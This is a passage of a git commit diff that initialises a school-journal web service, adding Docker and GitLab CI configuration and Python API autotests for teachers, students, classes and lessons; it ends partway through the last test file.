init here
This commit is contained in:
7
.dockerignore
Normal file
7
.dockerignore
Normal file
@@ -0,0 +1,7 @@
|
||||
*
|
||||
|
||||
!исх/**
|
||||
!си/**
|
||||
!карга.json
|
||||
!wrapper/**
|
||||
!frontend/**
|
||||
5
.gitignore
vendored
Normal file
5
.gitignore
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
/build
|
||||
target/
|
||||
*.sqlite
|
||||
*.db
|
||||
__pycache__
|
||||
114
.gitlab-ci.yml
Normal file
114
.gitlab-ci.yml
Normal file
@@ -0,0 +1,114 @@
|
||||
image: ubuntu:25.10
|
||||
|
||||
stages:
|
||||
- build
|
||||
- test
|
||||
- deploy
|
||||
|
||||
build:
|
||||
stage: build
|
||||
variables:
|
||||
DEBIAN_FRONTEND: noninteractive
|
||||
LANG: C.UTF-8
|
||||
LC_ALL: C.UTF-8
|
||||
cache:
|
||||
key: "build-$CI_COMMIT_REF_SLUG"
|
||||
paths:
|
||||
- build/
|
||||
policy: pull-push
|
||||
before_script:
|
||||
- apt-get update
|
||||
- apt-get install -y --no-install-recommends clang build-essential sqlite3 libsqlite3-dev wget ca-certificates
|
||||
- update-ca-certificates || true
|
||||
- wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga
|
||||
- chmod +x /usr/local/bin/carga
|
||||
script:
|
||||
- I_AM_SCARED_PLEASE_TALK_TO_ME=true carga собери
|
||||
artifacts:
|
||||
name: "target-$CI_COMMIT_REF_SLUG"
|
||||
paths:
|
||||
- build/target.exe
|
||||
|
||||
build_wrapper:
|
||||
stage: build
|
||||
image: rust:1.90-bookworm
|
||||
variables:
|
||||
CARGO_HOME: "$CI_PROJECT_DIR/.cargo"
|
||||
cache:
|
||||
key: "cargo-$CI_COMMIT_REF_SLUG"
|
||||
paths:
|
||||
- .cargo/registry
|
||||
- .cargo/git
|
||||
- wrapper/target
|
||||
policy: pull-push
|
||||
script:
|
||||
- cd wrapper
|
||||
- cargo build --release
|
||||
artifacts:
|
||||
name: "wrapper-$CI_COMMIT_REF_SLUG"
|
||||
paths:
|
||||
- wrapper/target/release/wrapper
|
||||
|
||||
test:
|
||||
stage: test
|
||||
dependencies:
|
||||
- build
|
||||
- build_wrapper
|
||||
variables:
|
||||
DEBIAN_FRONTEND: noninteractive
|
||||
LANG: C.UTF-8
|
||||
LC_ALL: C.UTF-8
|
||||
before_script:
|
||||
- apt-get update
|
||||
- apt-get install -y --no-install-recommends python3 python3-pip
|
||||
- python3 -m pip install --break-system-packages requests
|
||||
script:
|
||||
- export SERVER_PATH="$(pwd)/wrapper/target/release/wrapper"
|
||||
- export BIN_PATH="$(pwd)/build/target.exe"
|
||||
- python3 ./autotest/main.py -s
|
||||
|
||||
pages:
|
||||
stage: deploy
|
||||
image: node:20
|
||||
script:
|
||||
- npm init -y
|
||||
- npm install swagger-ui-dist
|
||||
- mkdir -p public
|
||||
- cp -r node_modules/swagger-ui-dist/* public/
|
||||
- cp ./openapi/srab.yaml public/
|
||||
- |
|
||||
cat > public/index.html <<'EOF'
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>SRAB API Documentation</title>
|
||||
<link rel="stylesheet" href="./swagger-ui.css">
|
||||
<script src="./swagger-ui-bundle.js" crossorigin></script>
|
||||
<script src="./swagger-ui-standalone-preset.js" crossorigin></script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="swagger-ui"></div>
|
||||
<script>
|
||||
window.onload = () => {
|
||||
window.ui = SwaggerUIBundle({
|
||||
url: "./srab.yaml",
|
||||
dom_id: '#swagger-ui',
|
||||
deepLinking: true,
|
||||
presets: [SwaggerUIBundle.presets.apis, SwaggerUIStandalonePreset],
|
||||
layout: "BaseLayout"
|
||||
});
|
||||
};
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
artifacts:
|
||||
paths:
|
||||
- public
|
||||
only:
|
||||
refs:
|
||||
- master
|
||||
changes:
|
||||
- openapi/**/*
|
||||
- .gitlab-ci.yml
|
||||
6
.vscode/settings.json
vendored
Normal file
6
.vscode/settings.json
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"[trivil]": {
|
||||
"editor.autoIndent": "advanced",
|
||||
"editor.unicodeHighlight.ambiguousCharacters": false
|
||||
}
|
||||
}
|
||||
31
Dockerfile
Normal file
31
Dockerfile
Normal file
@@ -0,0 +1,31 @@
|
||||
FROM rust:1.90-bookworm AS wrapper_builder
|
||||
|
||||
COPY wrapper/ /app
|
||||
WORKDIR /app
|
||||
|
||||
RUN cargo build --release
|
||||
|
||||
FROM ubuntu:25.10
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y clang build-essential sqlite3 libsqlite3-dev wget
|
||||
|
||||
RUN wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga && \
|
||||
chmod +x /usr/local/bin/carga
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY карга.json ./
|
||||
COPY исх/ ./исх
|
||||
COPY си/ ./си
|
||||
|
||||
RUN --mount=type=cache,target=/app/build carga собери && \
|
||||
cp /app/build/target.exe /app/target.exe
|
||||
|
||||
COPY --from=wrapper_builder /app/target/release/wrapper /app/wrapper
|
||||
COPY frontend /app/frontend
|
||||
|
||||
ENV BIN_PATH=/app/target.exe
|
||||
ENV STATIC_PATH=/app/frontend
|
||||
EXPOSE 1337
|
||||
CMD ["/app/wrapper"]
|
||||
0
autotest/__init__.py
Normal file
0
autotest/__init__.py
Normal file
0
autotest/cases/__init__.py
Normal file
0
autotest/cases/__init__.py
Normal file
25
autotest/cases/case_01_users_create_teacher.py
Normal file
25
autotest/cases/case_01_users_create_teacher.py
Normal file
@@ -0,0 +1,25 @@
|
||||
TEST_NAME = "users:create teacher"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {
|
||||
context.K_FIRST_NAME: context.teacher_first,
|
||||
context.K_LAST_NAME: context.teacher_last,
|
||||
context.K_MIDDLE_NAME: context.teacher_middle,
|
||||
context.K_EDUCATION: context.teacher_education,
|
||||
context.K_PASSWORD: context.teacher_password,
|
||||
context.K_CONFIRM_PASSWORD: context.teacher_password,
|
||||
}
|
||||
status, body, _ = context.send_request("POST", "/api/users", body=payload)
|
||||
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
|
||||
user_id = context.query_single_value(
|
||||
"SELECT id FROM users WHERE username = ?",
|
||||
(context.teacher_username,),
|
||||
)
|
||||
context.teacher_user_id = user_id
|
||||
teacher_id = context.query_single_value(
|
||||
"SELECT id FROM teachers WHERE user_id = ?",
|
||||
(user_id,),
|
||||
)
|
||||
context.expect(teacher_id > 0, "teacher id must be positive")
|
||||
context.teacher_id = teacher_id
|
||||
18
autotest/cases/case_02_users_create_mismatch.py
Normal file
18
autotest/cases/case_02_users_create_mismatch.py
Normal file
@@ -0,0 +1,18 @@
|
||||
TEST_NAME = "users:create mismatch"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {
|
||||
context.K_FIRST_NAME: "Bob",
|
||||
context.K_LAST_NAME: "Doe",
|
||||
context.K_MIDDLE_NAME: "Ray",
|
||||
context.K_EDUCATION: "History",
|
||||
context.K_PASSWORD: "OnePass",
|
||||
context.K_CONFIRM_PASSWORD: "OtherPass",
|
||||
}
|
||||
status, body, _ = context.send_request("POST", "/api/users", body=payload)
|
||||
context.expect(status == 400, f"expected 400, got {status}")
|
||||
context.expect(
|
||||
context.MESSAGE_PASSWORD_MISMATCH in body,
|
||||
"expected mismatch message",
|
||||
)
|
||||
18
autotest/cases/case_03_users_login_success.py
Normal file
18
autotest/cases/case_03_users_login_success.py
Normal file
@@ -0,0 +1,18 @@
|
||||
TEST_NAME = "users:login success"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {
|
||||
context.K_USERNAME: context.teacher_username,
|
||||
context.K_PASSWORD: context.teacher_password,
|
||||
}
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
"/api/users/login",
|
||||
body=payload,
|
||||
)
|
||||
context.expect(status == 200, f"expected 200, got {status}")
|
||||
context.expect(
|
||||
body == context.MESSAGE_LOGIN_OK,
|
||||
f"unexpected login body: {body!r}",
|
||||
)
|
||||
14
autotest/cases/case_04_users_login_failure.py
Normal file
14
autotest/cases/case_04_users_login_failure.py
Normal file
@@ -0,0 +1,14 @@
|
||||
TEST_NAME = "users:login failure"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {
|
||||
context.K_USERNAME: context.teacher_username,
|
||||
context.K_PASSWORD: "WrongPass",
|
||||
}
|
||||
status, _, _ = context.send_request(
|
||||
"POST",
|
||||
"/api/users/login",
|
||||
body=payload,
|
||||
)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
16
autotest/cases/case_05_users_change_password.py
Normal file
16
autotest/cases/case_05_users_change_password.py
Normal file
@@ -0,0 +1,16 @@
|
||||
TEST_NAME = "users:change password"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {context.K_NEW_PASSWORD: context.teacher_password_new}
|
||||
status, body, _ = context.send_request(
|
||||
"PUT",
|
||||
"/api/users/password",
|
||||
body=payload,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 204, f"expected 204, got {status}, body={body!r}")
|
||||
context.teacher_password = context.teacher_password_new
|
||||
18
autotest/cases/case_06_users_login_with_new_password.py
Normal file
18
autotest/cases/case_06_users_login_with_new_password.py
Normal file
@@ -0,0 +1,18 @@
|
||||
TEST_NAME = "users:login with new password"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {
|
||||
context.K_USERNAME: context.teacher_username,
|
||||
context.K_PASSWORD: context.teacher_password,
|
||||
}
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
"/api/users/login",
|
||||
body=payload,
|
||||
)
|
||||
context.expect(status == 200, f"expected 200, got {status}")
|
||||
context.expect(
|
||||
body == context.MESSAGE_LOGIN_OK,
|
||||
f"unexpected login body: {body!r}",
|
||||
)
|
||||
9
autotest/cases/case_07_teachers_auth_required.py
Normal file
9
autotest/cases/case_07_teachers_auth_required.py
Normal file
@@ -0,0 +1,9 @@
|
||||
TEST_NAME = "teachers:auth required"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
status, _, _ = context.send_request("GET", "/api/classes")
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"}
|
||||
status, _, _ = context.send_request("POST", "/api/classes", body=payload)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
31
autotest/cases/case_08_teachers_create_class.py
Normal file
31
autotest/cases/case_08_teachers_create_class.py
Normal file
@@ -0,0 +1,31 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "teachers:create class"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"}
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
"/api/classes",
|
||||
body=payload,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
|
||||
data = json.loads(body)
|
||||
context.class_id = int(data[context.K_IDENTIFIER])
|
||||
context.expect(
|
||||
data[context.K_CLASS_NUMBER] == payload[context.K_CLASS_NUMBER],
|
||||
"class number mismatch",
|
||||
)
|
||||
context.expect(
|
||||
data[context.K_CLASS_LETTER] == payload[context.K_CLASS_LETTER],
|
||||
"class letter mismatch",
|
||||
)
|
||||
context.expect(
|
||||
int(data[context.K_CREATOR]) > 0,
|
||||
"creator id must be positive",
|
||||
)
|
||||
24
autotest/cases/case_09_teachers_list_classes.py
Normal file
24
autotest/cases/case_09_teachers_list_classes.py
Normal file
@@ -0,0 +1,24 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "teachers:list classes"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
"/api/classes",
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 200, f"expected 200, got {status}")
|
||||
data = json.loads(body)
|
||||
entries = data.get(context.K_CLASSES, [])
|
||||
context.expect(
|
||||
any(
|
||||
int(item[context.K_IDENTIFIER]) == context.class_id
|
||||
for item in entries
|
||||
),
|
||||
"class not listed",
|
||||
)
|
||||
19
autotest/cases/case_10_teachers_create_extra_class.py
Normal file
19
autotest/cases/case_10_teachers_create_extra_class.py
Normal file
@@ -0,0 +1,19 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "teachers:create extra class"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {context.K_CLASS_NUMBER: 6, context.K_CLASS_LETTER: "B"}
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
"/api/classes",
|
||||
body=payload,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 201, f"expected 201, got {status}")
|
||||
data = json.loads(body)
|
||||
context.class_two_id = int(data[context.K_IDENTIFIER])
|
||||
27
autotest/cases/case_11_teachers_delete_extra_class.py
Normal file
27
autotest/cases/case_11_teachers_delete_extra_class.py
Normal file
@@ -0,0 +1,27 @@
|
||||
TEST_NAME = "teachers:delete extra class"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
path = f"/api/classes/{context.class_two_id}"
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 204, f"expected 204, got {status}")
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(
|
||||
status == 404,
|
||||
f"expected 404 on repeated delete, got {status}",
|
||||
)
|
||||
context.class_two_id = None
|
||||
33
autotest/cases/case_12_students_create_student.py
Normal file
33
autotest/cases/case_12_students_create_student.py
Normal file
@@ -0,0 +1,33 @@
|
||||
TEST_NAME = "students:create student"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
status, _, _ = context.send_request("POST", "/api/students", body={})
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
payload = {
|
||||
context.K_FIRST_NAME: "Charlie",
|
||||
context.K_LAST_NAME: "Stone",
|
||||
context.K_MIDDLE_NAME: "Lee",
|
||||
context.K_PASSWORD: "Student42",
|
||||
context.K_CONFIRM_PASSWORD: "Student42",
|
||||
context.K_SNILS: "00011122233",
|
||||
context.K_PASSPORT: "AB1234567",
|
||||
}
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
"/api/students",
|
||||
body=payload,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
|
||||
context.student_one_id = context.query_single_value(
|
||||
"SELECT id FROM students WHERE snils = ?",
|
||||
(payload[context.K_SNILS],),
|
||||
)
|
||||
context.student_one_username = (
|
||||
f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}"
|
||||
)
|
||||
context.student_one_password = payload[context.K_PASSWORD]
|
||||
31
autotest/cases/case_13_students_create_second_student.py
Normal file
31
autotest/cases/case_13_students_create_second_student.py
Normal file
@@ -0,0 +1,31 @@
|
||||
TEST_NAME = "students:create second student"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
payload = {
|
||||
context.K_FIRST_NAME: "Daisy",
|
||||
context.K_LAST_NAME: "King",
|
||||
context.K_MIDDLE_NAME: "May",
|
||||
context.K_PASSWORD: "Student84",
|
||||
context.K_CONFIRM_PASSWORD: "Student84",
|
||||
context.K_SNILS: "99988877766",
|
||||
context.K_PASSPORT: "CD7654321",
|
||||
}
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
"/api/students",
|
||||
body=payload,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
|
||||
context.student_two_id = context.query_single_value(
|
||||
"SELECT id FROM students WHERE snils = ?",
|
||||
(payload[context.K_SNILS],),
|
||||
)
|
||||
context.student_two_username = (
|
||||
f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}"
|
||||
)
|
||||
context.student_two_password = payload[context.K_PASSWORD]
|
||||
32
autotest/cases/case_14_teachers_add_student_to_class.py
Normal file
32
autotest/cases/case_14_teachers_add_student_to_class.py
Normal file
@@ -0,0 +1,32 @@
|
||||
TEST_NAME = "teachers:add student to class"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
path = f"/api/classes/{context.class_id}/students/{context.student_two_id}"
|
||||
status, _, _ = context.send_request("POST", path)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
status, _, _ = context.send_request(
|
||||
"POST",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 201, f"expected 201, got {status}")
|
||||
invalid_path = (
|
||||
f"/api/classes/{context.class_id + 999}/students/"
|
||||
f"{context.student_two_id}"
|
||||
)
|
||||
status, _, _ = context.send_request(
|
||||
"POST",
|
||||
invalid_path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(
|
||||
status == 403,
|
||||
f"expected 403 for foreign class, got {status}",
|
||||
)
|
||||
31
autotest/cases/case_15_students_list.py
Normal file
31
autotest/cases/case_15_students_list.py
Normal file
@@ -0,0 +1,31 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "students:list"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
status, _, _ = context.send_request("GET", "/api/students")
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
"/api/students",
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 200, f"expected 200, got {status}")
|
||||
|
||||
data = json.loads(body)
|
||||
students = data.get("ученики", [])
|
||||
ids = {int(item[context.K_IDENTIFIER]) for item in students}
|
||||
|
||||
context.expect(
|
||||
context.student_one_id in ids,
|
||||
"first student missing from list",
|
||||
)
|
||||
context.expect(
|
||||
context.student_two_id in ids,
|
||||
"second student missing from list",
|
||||
)
|
||||
48
autotest/cases/case_16_students_get.py
Normal file
48
autotest/cases/case_16_students_get.py
Normal file
@@ -0,0 +1,48 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "students:get one"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
path = f"/api/students/{context.student_one_id}"
|
||||
status, _, _ = context.send_request("GET", path)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 200, f"expected 200, got {status}")
|
||||
|
||||
data = json.loads(body)
|
||||
context.expect(
|
||||
int(data[context.K_IDENTIFIER]) == context.student_one_id,
|
||||
"unexpected student id",
|
||||
)
|
||||
context.expect(
|
||||
data.get(context.K_FIRST_NAME),
|
||||
"missing student first name",
|
||||
)
|
||||
context.expect(
|
||||
data.get(context.K_LAST_NAME),
|
||||
"missing student last name",
|
||||
)
|
||||
context.expect(
|
||||
data.get(context.K_USERNAME),
|
||||
"missing student username",
|
||||
)
|
||||
|
||||
missing_path = f"/api/students/{context.student_two_id + 999}"
|
||||
status, _, _ = context.send_request(
|
||||
"GET",
|
||||
missing_path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 404, f"expected 404, got {status}")
|
||||
39
autotest/cases/case_17_students_delete.py
Normal file
39
autotest/cases/case_17_students_delete.py
Normal file
@@ -0,0 +1,39 @@
|
||||
TEST_NAME = "students:delete"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
path = f"/api/students/{context.student_one_id}"
|
||||
status, _, _ = context.send_request("DELETE", path)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
f"/api/students/{context.student_one_id + 999}",
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 404, f"expected 404, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 204, f"expected 204, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"GET",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 404, f"expected 404 after delete, got {status}")
|
||||
|
||||
context.student_one_id = None
|
||||
86
autotest/cases/case_18_lessons_teacher_add.py
Normal file
86
autotest/cases/case_18_lessons_teacher_add.py
Normal file
@@ -0,0 +1,86 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "lessons:create"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
path = f"/api/classes/{context.class_id}/lessons"
|
||||
payload_primary = {
|
||||
"дата": "2025-09-01",
|
||||
"название": "Алгебра",
|
||||
"домашнее задание": "Упражнения 1-3",
|
||||
}
|
||||
|
||||
status, _, _ = context.send_request("POST", path, body=payload_primary)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"POST",
|
||||
f"/api/classes/{context.class_id + 999}/lessons",
|
||||
body=payload_primary,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(
|
||||
status == 403,
|
||||
f"expected 403 for foreign class, got {status}",
|
||||
)
|
||||
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
path,
|
||||
body=payload_primary,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
|
||||
|
||||
data = json.loads(body)
|
||||
context.lesson_first_id = int(data[context.K_IDENTIFIER])
|
||||
context.lesson_first_date = payload_primary["дата"]
|
||||
context.lesson_first_title = payload_primary["название"]
|
||||
context.expect(
|
||||
int(data["идентификатор класса"]) == context.class_id,
|
||||
"lesson class mismatch",
|
||||
)
|
||||
context.expect(
|
||||
data["название"] == payload_primary["название"],
|
||||
"lesson title mismatch",
|
||||
)
|
||||
context.expect(
|
||||
data["дата"] == payload_primary["дата"],
|
||||
"lesson date mismatch",
|
||||
)
|
||||
|
||||
payload_secondary = {
|
||||
"дата урока": "2025-09-02",
|
||||
"тема": "Геометрия",
|
||||
"домашка": "Читать параграф 4",
|
||||
}
|
||||
|
||||
status, body, _ = context.send_request(
|
||||
"POST",
|
||||
path,
|
||||
body=payload_secondary,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(
|
||||
status == 201,
|
||||
f"expected 201 for second lesson, got {status}",
|
||||
)
|
||||
|
||||
data = json.loads(body)
|
||||
context.lesson_second_id = int(data[context.K_IDENTIFIER])
|
||||
context.lesson_second_date = payload_secondary["дата урока"]
|
||||
context.lesson_second_title = payload_secondary["тема"]
|
||||
context.expect(
|
||||
data["домашнее задание"] == payload_secondary["домашка"],
|
||||
"secondary homework mismatch",
|
||||
)
|
||||
80
autotest/cases/case_19_lessons_list.py
Normal file
80
autotest/cases/case_19_lessons_list.py
Normal file
@@ -0,0 +1,80 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "lessons:list"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
base_path = f"/api/classes/{context.class_id}/lessons"
|
||||
status, _, _ = context.send_request("GET", base_path)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
base_path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 200, f"expected 200, got {status}")
|
||||
|
||||
data = json.loads(body)
|
||||
lessons = data.get("уроки", [])
|
||||
context.expect(len(lessons) >= 2, "expected at least two lessons")
|
||||
|
||||
def find_lesson(entry_id: int):
|
||||
for item in lessons:
|
||||
if int(item[context.K_IDENTIFIER]) == entry_id:
|
||||
return item
|
||||
return None
|
||||
|
||||
first_entry = find_lesson(context.lesson_first_id)
|
||||
context.expect(first_entry is not None, "first lesson missing")
|
||||
context.expect(
|
||||
first_entry.get("название") == context.lesson_first_title,
|
||||
"first lesson title mismatch",
|
||||
)
|
||||
|
||||
filter_path = (
|
||||
f"/api/classes/{context.class_id}/lessons/date/"
|
||||
f"{context.lesson_first_date}"
|
||||
)
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
filter_path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 200, f"expected 200 for filter, got {status}")
|
||||
|
||||
filtered = json.loads(body).get("уроки", [])
|
||||
context.expect(
|
||||
len(filtered) == 1,
|
||||
f"expected single lesson in filter, got {len(filtered)}",
|
||||
)
|
||||
context.expect(
|
||||
int(filtered[0][context.K_IDENTIFIER]) == context.lesson_first_id,
|
||||
"filter returned unexpected lesson",
|
||||
)
|
||||
|
||||
student_headers = context.make_auth(
|
||||
context.student_two_username,
|
||||
context.student_two_password,
|
||||
)
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
base_path,
|
||||
headers=student_headers,
|
||||
)
|
||||
context.expect(status == 200, f"expected 200 for student, got {status}")
|
||||
|
||||
student_view = json.loads(body).get("уроки", [])
|
||||
context.expect(
|
||||
any(
|
||||
int(item[context.K_IDENTIFIER]) == context.lesson_second_id
|
||||
for item in student_view
|
||||
),
|
||||
"student view missing lesson",
|
||||
)
|
||||
81
autotest/cases/case_20_lessons_teacher_delete.py
Normal file
81
autotest/cases/case_20_lessons_teacher_delete.py
Normal file
@@ -0,0 +1,81 @@
|
||||
import json
|
||||
|
||||
TEST_NAME = "lessons:delete"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
path = f"/api/classes/{context.class_id}/lessons/{context.lesson_first_id}"
|
||||
status, _, _ = context.send_request("DELETE", path)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
f"/api/classes/{context.class_id + 999}/lessons/"
|
||||
f"{context.lesson_first_id}",
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(
|
||||
status == 403,
|
||||
f"expected 403 for foreign class, got {status}",
|
||||
)
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 204, f"expected 204, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 404, f"expected 404 after delete, got {status}")
|
||||
|
||||
filter_path = (
|
||||
f"/api/classes/{context.class_id}/lessons/date/"
|
||||
f"{context.lesson_first_date}"
|
||||
)
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
filter_path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 200, f"expected 200 for filter, got {status}")
|
||||
|
||||
filtered = json.loads(body).get("уроки", [])
|
||||
context.expect(len(filtered) == 0, "filter should be empty after delete")
|
||||
|
||||
status, body, _ = context.send_request(
|
||||
"GET",
|
||||
f"/api/classes/{context.class_id}/lessons",
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 200, f"expected 200 for list, got {status}")
|
||||
|
||||
remaining = json.loads(body).get("уроки", [])
|
||||
context.expect(
|
||||
any(
|
||||
int(item[context.K_IDENTIFIER]) == context.lesson_second_id
|
||||
for item in remaining
|
||||
),
|
||||
"second lesson missing after delete",
|
||||
)
|
||||
|
||||
context.lesson_first_id = None
|
||||
55
autotest/cases/case_21_teachers_remove_student_from_class.py
Normal file
55
autotest/cases/case_21_teachers_remove_student_from_class.py
Normal file
@@ -0,0 +1,55 @@
|
||||
TEST_NAME = "teachers:remove student from class"
|
||||
|
||||
|
||||
def run(context) -> None:
|
||||
